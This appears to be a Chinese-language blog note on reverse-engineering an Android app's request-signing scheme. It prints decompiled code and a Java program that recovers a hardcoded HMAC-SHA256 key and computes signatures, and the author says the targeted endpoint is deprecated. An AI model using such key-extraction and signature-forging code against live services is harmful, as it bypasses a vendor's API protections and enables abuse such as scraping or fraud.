            String a = MantoCryptoUtils.m4772a(sb.toString().getBytes("UTF-8"), c.getBytes("UTF-8")); //签名 HmacSHA256
            MantoLog.m4788d("sign  ", "sign --->  " + a);
            if (!TextUtils.isEmpty(a)) {
                return a.toLowerCase();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return "";
    }

发现大概加密流程是
先把url参数传递进来，然后拼接成k=v&格式，然后使用MantoCryptoUtils.m4776c获取到hash_hmac的key，最后进行hash_hmac sha256加密，

MantoCryptoUtils.m4776c
  public static String getsecretKey(String str, String str2) {
    try{
        byte[] bytes = ("6A642D6D" + str2).getBytes("UTF-8");
        for (int i = 0; i < 16; i++) {
            bytes[i] = (byte) (bytes[i] ^ f3228d[i]);
        }
        String str3 = str + "D4F1E5BBBE321897A0F4BDEC91197EE0";
        SecretKeySpec secretKeySpec = new SecretKeySpec(bytes, f3226b);
        Cipher instance = Cipher.getInstance(f3227c);
        instance.init(2, secretKeySpec);
        return new String(instance.doFinal(xorData(str3.getBytes("UTF-8"))), "UTF-8");
    }catch (Exception e){
        return "";
    }
    }

直接把方法提取出来，写一个脚本获取到完整的key

然后在带入参数进行直接加密测试即可

import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.Mac;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;
import main.util.ReplyCode;
import java.util.TreeMap;
/* renamed from: jd.wjlogin_sdk.util.ReplyCode */
/* compiled from: Proguard */

public class Main {
    private static byte[] f3228d = {ReplyCode.reply0x26, ReplyCode.reply0x38, 11, ReplyCode.reply0x64, -92, -85, 114, -41, -63, 30, ReplyCode.reply0x7b, ReplyCode.reply0x88, ReplyCode.reply0xaa, 102, 10, -32};
    private static String f3226b = "AES";
    private static String f3227c = "AES/ECB/PKCS5Padding";
    public static void main(String[] args) {
        System.out.println("Hello World!");
        System.out.println(getsecretKey("2AA64BD44C4381F31D9DA68EFE3778747D6D16CC3D2BE89108F9DCFC9A855253","616E746F"));
        String c=getsecretKey("2AA64BD44C4381F31D9DA68EFE3778747D6D16CC3D2BE89108F9DCFC9A855253","616E746F");
        String sb="asdsadasd";

        try{
        
            String a = Sign(sb.getBytes("UTF-8"), c.getBytes("UTF-8")); //签名 HmacSHA256
            System.out.println(a);
        }catch (Exception e){

        }

    }

    public static String Sign(byte[] bArr, byte[] bArr2) {
        try {
            SecretKeySpec secretKeySpec = new SecretKeySpec(bArr2, "HmacSHA256");
            Mac instance = Mac.getInstance("HmacSHA256");
            instance.init(secretKeySpec);
            return toHex(instance.doFinal(bArr));
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        } catch (InvalidKeyException e2) {
            e2.printStackTrace();
        }
        return null;
    }
    private static String toHex(byte[] bArr) {
        StringBuilder sb = new StringBuilder();
        int i = 0;
        while (bArr != null && i < bArr.length) {
            String hexString = Integer.toHexString(bArr[i] & 255);
            if (hexString.length() == 1) {
                sb.append('0');
            }
            sb.append(hexString);
            i++;
        }
        return sb.toString().toUpperCase();
    }
    private static byte[] xorData(byte[] bArr) {
        if (bArr.length % 2 != 0) {
            return null;
        }
        byte[] bArr2 = new byte[(bArr.length / 2)];
        for (int i = 0; i < bArr.length; i += 2) {
            bArr2[i / 2] = (byte) Integer.parseInt(new String(bArr, i, 2), 16);
        }
        return bArr2;
    }
    public static String getsecretKey(String str, String str2) {
    try{
        byte[] bytes = ("6A642D6D" + str2).getBytes("UTF-8");
        for (int i = 0; i < 16; i++) {
            bytes[i] = (byte) (bytes[i] ^ f3228d[i]);
        }
        String str3 = str + "D4F1E5BBBE321897A0F4BDEC91197EE0";
        SecretKeySpec secretKeySpec = new SecretKeySpec(bytes, f3226b);
        Cipher instance = Cipher.getInstance(f3227c);
        instance.init(2, secretKeySpec);
        return new String(instance.doFinal(xorData(str3.getBytes("UTF-8"))), "UTF-8");
    }catch (Exception e){
        return "";
    }


    }
}

最后发现使用这个加密方式的接口已经废弃不再使用，所以试一次失败的逆袭过程，在花点时间找一下新接口的加密算法了，记录一下过程。